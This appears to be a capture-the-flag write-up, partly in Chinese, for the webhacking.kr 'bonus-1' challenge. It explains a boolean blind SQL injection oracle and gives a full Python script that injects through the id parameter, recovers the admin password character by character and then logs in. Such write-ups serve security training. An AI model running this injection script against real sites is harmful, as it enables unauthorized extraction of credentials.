Challenge
Extract the admin password from the blind SQL injection oracle.
通过 blind SQL injection oracle 提取 admin 密码。
https://webhacking.kr/challenge/bonus-1/Analysis
登录结果提供了一个布尔 oracle:查询条件成立但提交的密码不匹配时返回 wrong password,条件不成立时返回 login fail。把注入放在 id 参数中,先闭合原来的引号,再限定 id='admin',就能逐次测试 length(pw) 和 ascii(substr(pw, position, 1))。
脚本使用 -- 注释服务端拼接在输入后的引号;requests 会负责对参数中的引号和空格做 URL 编码。每个猜测都单独请求,响应文本只用于判断真或假。
Solution
下面的脚本先枚举长度,再枚举每个字符,随后用得到的密码构造一次正常登录请求:
import requests
URL = "https://webhacking.kr/challenge/bonus-1/"TRUE_MARKER = "wrong password"FALSE_MARKER = "login fail"
def oracle(session, condition): injection = f"admin' and ({condition}) or '1'='0' -- " response = session.get( URL, params={"id": injection, "pw": "probe"}, timeout=10, ) response.raise_for_status() body = response.text.lower() if TRUE_MARKER in body: return True if FALSE_MARKER in body: return False raise RuntimeError("response did not contain a known oracle marker")29 collapsed lines
def recover_password(session): password_length = None for length in range(1, 101): if oracle(session, f"length(pw)={length}"): password_length = length break if password_length is None: raise RuntimeError("password length was not found")
password_chars = [] for position in range(1, password_length + 1): for code in range(32, 127): condition = f"ascii(substr(pw,{position},1))={code}" if oracle(session, condition): password_chars.append(chr(code)) break else: raise RuntimeError(f"character at position {position} was not found") return "".join(password_chars)
def login(session, password): response = session.get( URL, params={"id": "admin", "pw": password}, timeout=10, ) response.raise_for_status() return response
if __name__ == "__main__": with requests.Session() as session: password = recover_password(session) print(password) result = login(session, password) print(result.status_code) print(result.text)length(pw) 确定循环边界,substr 的位置从 1 开始;每个字符只有在 oracle 判真时才加入结果,避免把 guest 记录误当成 admin 记录。